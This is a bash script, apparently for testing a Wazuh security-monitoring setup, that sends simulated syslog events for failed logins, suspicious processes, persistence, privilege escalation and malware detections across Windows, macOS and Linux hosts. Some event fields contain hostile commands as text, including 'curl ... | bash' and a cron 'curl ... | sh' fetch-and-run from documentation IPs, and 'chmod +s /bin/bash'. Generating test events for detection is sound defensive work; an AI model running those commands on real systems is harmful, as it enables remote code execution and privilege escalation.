#!/usr/bin/env bash
set -euo pipefail

PLATFORM="${1:-all}"      # windows | mac | linux | all
SCENARIO="${2:-all}"      # auth | process | persistence | privilege | malware | all
COUNT="1"
DELAY="0.3"
FOREVER="false"
DRY_RUN="${DRY_RUN:-0}"
COUNT_SET="false"
DELAY_SET="false"

WAZUH_SYSLOG_HOST="${WAZUH_SYSLOG_HOST:-127.0.0.1}"
WAZUH_SYSLOG_PORT="${WAZUH_SYSLOG_PORT:-514}"

WIN_HOST="${WIN_HOST:-win-client-01}"
MAC_HOST="${MAC_HOST:-mac-client-01}"
LINUX_HOST="${LINUX_HOST:-linux-client-01}"
SIM_USER="${SIM_USER:-jane.doe}"

shift 2 || true

while (($#)); do
  case "$1" in
    --forever)
      FOREVER="true"
      shift
      ;;
    *)
      if [[ "${COUNT_SET}" == "false" ]]; then
        COUNT="$1"
        COUNT_SET="true"
      elif [[ "${DELAY_SET}" == "false" ]]; then
        DELAY="$1"
        DELAY_SET="true"
      else
        echo "error: unexpected argument '$1'"
        echo "usage: scripts/send-wazuh-endpoint-agent-test-events.sh [platform] [scenario] [count] [delay_seconds] [--forever]"
        exit 1
      fi
      shift
      ;;
  esac
done

if ! [[ "${COUNT}" =~ ^[0-9]+$ ]] || [[ "${COUNT}" -lt 1 ]]; then
  echo "error: count must be a positive integer"
  exit 1
fi

if ! [[ "${DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
  echo "error: delay must be numeric (example: 0.5)"
  exit 1
fi

emit_syslog() {
  local msg="$1"
  local sent="false"

  if [[ "${DRY_RUN}" == "1" ]]; then
    echo "[DRY_RUN $(date -u +'%Y-%m-%dT%H:%M:%SZ')] ${msg}"
    return 0
  fi

  if command -v nc >/dev/null 2>&1; then
    if printf "%s\n" "${msg}" | nc -u -w1 "${WAZUH_SYSLOG_HOST}" "${WAZUH_SYSLOG_PORT}"; then
      sent="true"
    fi
  fi

  if [[ "${sent}" != "true" ]]; then
    if printf "%s\n" "${msg}" >"/dev/udp/${WAZUH_SYSLOG_HOST}/${WAZUH_SYSLOG_PORT}" 2>/dev/null; then
      sent="true"
    fi
  fi

  if [[ "${sent}" != "true" ]]; then
    echo "error: failed to send syslog event to ${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
    return 1
  fi

  echo "[$(date -u +'%Y-%m-%dT%H:%M:%SZ')] sent: ${msg}"
}

rand_public_ip() {
  if [[ $((RANDOM % 2)) -eq 0 ]]; then
    echo "198.51.100.$((RANDOM % 240 + 10))"
  else
    echo "203.0.113.$((RANDOM % 240 + 10))"
  fi
}

rand_private_ip() {
  echo "10.$((RANDOM % 20 + 10)).$((RANDOM % 200 + 1)).$((RANDOM % 240 + 10))"
}

send_windows_auth() {
  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} soc_mvp_test=true source=windows_agent platform=windows event_type=windows_auth_fail severity=medium event_id=4625 account=\"${SIM_USER}\" src_ip=$(rand_public_ip) fail_count=$((RANDOM % 8 + 3))"
}

send_windows_process() {
  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} soc_mvp_test=true source=windows_agent platform=windows event_type=windows_suspicious_process severity=high event_id=4688 process=\"powershell.exe\" cmdline=\"powershell -enc <base64>\" parent=\"winword.exe\" user=\"${SIM_USER}\""
}

send_windows_persistence() {
  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} soc_mvp_test=true source=windows_agent platform=windows event_type=windows_persistence_registry severity=high event_id=4657 registry_path=\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\Updater\" user=\"${SIM_USER}\""
}

send_windows_privilege() {
  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} soc_mvp_test=true source=windows_agent platform=windows event_type=windows_privilege_group_add severity=high event_id=4732 account=\"${SIM_USER}\" target_group=\"Administrators\""
}

send_windows_malware() {
  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} soc_mvp_test=true source=windows_agent platform=windows event_type=windows_malware_detected severity=high event_id=1116 engine=\"Defender\" threat=\"Trojan:Win32/AgentTesla\" path=\"C:\\\\Users\\\\${SIM_USER}\\\\AppData\\\\Local\\\\Temp\\\\invoice.exe\" action=\"quarantine\""
}

send_mac_auth() {
  emit_syslog "<134>$(date '+%b %d %H:%M:%S') ${MAC_HOST} soc_mvp_test=true source=mac_agent platform=mac event_type=mac_auth_fail severity=medium subsystem=\"com.apple.loginwindow\" user=\"${SIM_USER}\" src_ip=$(rand_public_ip) fail_count=$((RANDOM % 8 + 3))"
}

send_mac_process() {
  emit_syslog "<134>$(date '+%b %d %H:%M:%S') ${MAC_HOST} soc_mvp_test=true source=mac_agent platform=mac event_type=mac_suspicious_process severity=high process=\"osascript\" cmdline=\"osascript -e do shell script curl ...\" parent=\"Safari\" user=\"${SIM_USER}\""
}

send_mac_persistence() {
  emit_syslog "<134>$(date '+%b %d %H:%M:%S') ${MAC_HOST} soc_mvp_test=true source=mac_agent platform=mac event_type=mac_launchagent_created severity=high plist=\"/Users/${SIM_USER}/Library/LaunchAgents/com.apple.updater.plist\" user=\"${SIM_USER}\""
}

send_mac_privilege() {
  emit_syslog "<134>$(date '+%b %d %H:%M:%S') ${MAC_HOST} soc_mvp_test=true source=mac_agent platform=mac event_type=mac_privilege_escalation severity=high action=\"sudo\" user=\"${SIM_USER}\" tty=\"ttys001\" cmd=\"/bin/chmod +s /bin/bash\""
}

send_mac_malware() {
  emit_syslog "<134>$(date '+%b %d %H:%M:%S') ${MAC_HOST} soc_mvp_test=true source=mac_agent platform=mac event_type=mac_xprotect_detected severity=high signature=\"OSX.Adload\" file=\"/Users/${SIM_USER}/Downloads/installer.pkg\" action=\"blocked\""
}

send_linux_auth() {
  emit_syslog "<133>$(date '+%b %d %H:%M:%S') ${LINUX_HOST} soc_mvp_test=true source=linux_agent platform=linux event_type=linux_ssh_auth_fail severity=medium process=\"sshd\" user=\"${SIM_USER}\" src_ip=$(rand_public_ip) fail_count=$((RANDOM % 8 + 3))"
}

send_linux_process() {
  emit_syslog "<133>$(date '+%b %d %H:%M:%S') ${LINUX_HOST} soc_mvp_test=true source=linux_agent platform=linux event_type=linux_suspicious_process severity=high process=\"curl\" cmdline=\"curl http://198.51.100.20/a.sh | bash\" user=\"${SIM_USER}\""
}

send_linux_persistence() {
  emit_syslog "<133>$(date '+%b %d %H:%M:%S') ${LINUX_HOST} soc_mvp_test=true source=linux_agent platform=linux event_type=linux_cron_persistence severity=high file=\"/etc/cron.d/system-update\" user=\"root\" command=\"*/5 * * * * curl -fsSL http://203.0.113.20/s | sh\""
}

send_linux_privilege() {
  emit_syslog "<133>$(date '+%b %d %H:%M:%S') ${LINUX_HOST} soc_mvp_test=true source=linux_agent platform=linux event_type=linux_sudo_privilege_escalation severity=high user=\"${SIM_USER}\" command=\"sudo usermod -aG sudo ${SIM_USER}\" src_ip=$(rand_private_ip)"
}

send_linux_malware() {
  emit_syslog "<133>$(date '+%b %d %H:%M:%S') ${LINUX_HOST} soc_mvp_test=true source=linux_agent platform=linux event_type=linux_malware_detected severity=high scanner=\"clamav\" signature=\"Unix.Trojan.Mirai\" file=\"/tmp/kworkerd\" action=\"removed\""
}

send_one_platform() {
  local p="$1"
  case "${SCENARIO}" in
    auth)
      "send_${p}_auth"
      ;;
    process)
      "send_${p}_process"
      ;;
    persistence)
      "send_${p}_persistence"
      ;;
    privilege)
      "send_${p}_privilege"
      ;;
    malware)
      "send_${p}_malware"
      ;;
    all)
      "send_${p}_auth"
      "send_${p}_process"
      "send_${p}_persistence"
      "send_${p}_privilege"
      "send_${p}_malware"
      ;;
    *)
      echo "error: unknown scenario '${SCENARIO}'"
      echo "valid: auth | process | persistence | privilege | malware | all"
      exit 1
      ;;
  esac
}

send_once() {
  case "${PLATFORM}" in
    windows)
      send_one_platform "windows"
      ;;
    mac|macos)
      send_one_platform "mac"
      ;;
    linux)
      send_one_platform "linux"
      ;;
    all)
      send_one_platform "windows"
      send_one_platform "mac"
      send_one_platform "linux"
      ;;
    *)
      echo "error: unknown platform '${PLATFORM}'"
      echo "valid: windows | mac | linux | all"
      exit 1
      ;;
  esac
}

if [[ "${FOREVER}" == "true" ]]; then
  echo "running forever with interval ${DELAY}s (Ctrl+C to stop)"
  trap 'echo; echo "stopped"; exit 0' INT TERM
  while true; do
    send_once
    sleep "${DELAY}"
  done
else
  for ((i=1; i<=COUNT; i++)); do
    send_once
    if [[ "${i}" -lt "${COUNT}" ]]; then
      sleep "${DELAY}"
    fi
  done
fi
